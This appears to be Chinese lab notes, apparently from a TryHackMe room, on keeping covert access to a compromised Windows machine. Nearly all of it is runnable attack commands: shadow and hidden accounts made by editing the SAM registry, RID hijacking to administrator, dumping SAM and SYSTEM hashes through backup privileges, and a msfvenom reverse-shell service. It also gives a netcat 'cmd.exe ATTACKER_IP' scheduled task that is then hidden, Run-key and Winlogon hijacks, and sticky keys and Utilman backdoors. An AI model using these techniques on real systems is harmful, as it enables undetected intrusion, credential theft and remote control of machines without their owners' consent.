攥改非特权用户

创建影子账户

在windows下,如果在用户名后面添加一个$,那么通过net user是看不见的

但是在管理界面中仍然能看到添加的用户

接下来创建影子账户

打开注注册表,找到

HKLM\SAM\SAM\Domains\Account\Users\Name

选中我们刚刚添加的用户,可以看到右侧的值是0x3f9

同理找到Administrator的是0x1f4

将3F9下F的值覆盖为1F4下F的值

然后从注册表中右键导出hacker$以及3E9

然后通过 net user hacker$ /del 删除用户

然后再双击刚刚导出的两个reg文件导入注册表,影子账户就创建好了,该账户只能在注册表中看到

将账户加入Backup Operator组

将账户直接加入Administrator组会比较可疑, 可以将账户加入Backup Operators

net user "Backup Operators" xxx /add

由于这是一个非特权帐户,除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。
将用户加入WinRM组:

net localgroup "Remote Management Users" xxx /add

使用evil-winrm进行远程连接

evil-winrm -i ip -u username -p password

有时候会发现即使用户在Backup Operator组也无对应的权限,且通过whoami /groups可以看到该组被禁用,这是由于UAC实现的功能之一:LocalAccountTokenFilterPolicy,它会在远程登录时剥夺本地帐户的管理权限
可以通过修改注册表来禁用LocalAccountTokenFilterPolicy

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

拥有Backup Operator组的权限就可以备份SAM和SYSTEM文件

reg save HKLM\SAM 
reg save HKLM\SYSTEM system.hive

使用secretsdump就可以获得所有用户的hash值

python3 secretsdump.py -sam /Users/xuxuan/sam.hive -system /Users/xuxuan/system.hive LOCAL

赋予账户SeBackupPrivilege和SeRestorePrivilege

除了将账户直接加入Backup Operator组,还可以直接赋予账户该组的权限:
Backup Operator组的账户有两个特权:SeBackupPrivilege和SeBackupPrivilege

SeBackupPrivilege 用户可以忽略DACL,读取系统中的任何文件
SeRestorePrivilege 用户可以忽略DACL,向系统的任意位置写入文件

首先使用secdeit命令,将当前配置导出到一个临时文件

secedit /export /cfg  config.inf

再这两个权限后添加用户名或用户对应的SID即可
然后将 .inf 文件转换为 .sdb 文件,并将配置加载回系统:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

但此时用户无法通过WinRM登录系统,此时可以更改与 WinRM 服务关联的安全描述符以允许 某个用户进行连接

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个GUI窗口,可以在其中添加该用户,并将FullControl改为Allow,然后即可使用WinRM进行登录

RID劫持

计算机中的每一个用户都具有一个SID(安全标志符)值,是标识用户、组和计算机帐户的唯一的号码。
可以通过以下命令查询用户的SID:

wmic useraccount get name,sid

或在PowerShell中使用Get-LocalUser

 Get-LocalUser|Select-Object -Property Name,sid

RID即为SID的最后一部分,默认 Administrator 帐户的RID = 500,而普通用户通常 RID >= 1000
可以将某个用户的RID改为500以获得管理员权限,可以通过修改注册表中的SAM来完成该操作
而SAM仅限于SYSTEM账户,因此即使是管理员也无法对其编辑,可以使用psexec以SYSTEM权限运行Regedit

PsExec64.exe -i -s regedit

找到Computer\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下对应的RID的用户(以RID=1010为例)

F2 03改为F4 01 (RID为小端序存储)

添加后门

添加后门服务

创建后门服务

msf生成马:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.27.118  LPORT=4444 -f exe-service  -o test.exe

创建后门服务:

sc.exe create EvilService binPath= "C:\windows\rev-svc.exe" start= auto

启动后门服务:

sc.exe start EvilService

修改现有服务

获取可用的服务,例如得到THMService

然后通过sc.exe qc THMService查询该服务的配置

通过

sc.exe config THMservice binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem" 

重新配置BINARY_PATH_NAME,将其绑定到恶意文件

添加计划任务

创建计划任务

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

以上计划任务会每分钟执行一次

查看该计划任务

schtasks /query /tn thm-taskbackdoor

隐藏计划任务

所有计划任务的安全描述符都保存在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\中。会为每个任务找到一个注册表项,在该注册表项下名为“SD”的值包含安全描述符

删掉SD即可隐藏该计划任务

Startup目录

将马放入启动文件夹目录
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
如果想强制所有用户在登录时运行,可以放入
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

修改注册表强制系统启动时运行

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU 下的注册表项将仅适用于当前用户,而 HKLM 下的注册表项将适用于所有人。每次用户登录时,运行键下指定的任何程序都会运行。在 RunOnce 键下指定的程序将只执行一次。


HKCU 下的注册表项将仅适用于当前用户,而 HKLM 下的注册表项将适用于所有人。每次用户登录时,运行键下指定的任何程序都会运行。在 RunOnce 键下指定的程序将只执行一次。

winlogon

winlogon是一个在身份验证后立即加载用户配置文件的 Windows 组件
使用 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\下的一些注册表项

Userinit 指向 userinit.exe,它负责恢复用户配置文件

shell 指向系统的shell,通常是explorer.exe

可以在后面添加逗号拼上自己的马

SHIFT粘粘健后门

按 5 次 SHIFT 后,Windows 将执行 C:\Windows\System32\sethc.exe 中的二进制文件。

可以将cmd.exe替换sethc.exe

首先需要获取sethc.exe的所有权并赋予当前用户修改他的权限

takeown /f c:\Windows\System32\sethc.exe                                                                                                                                                         
icacls C:\Windows\System32\sethc.exe /grant Administrator:F

copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Utilman后门

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项

其位置为C:\Windows\System32\Utilman.exe
也可以将其替换为cmd.exe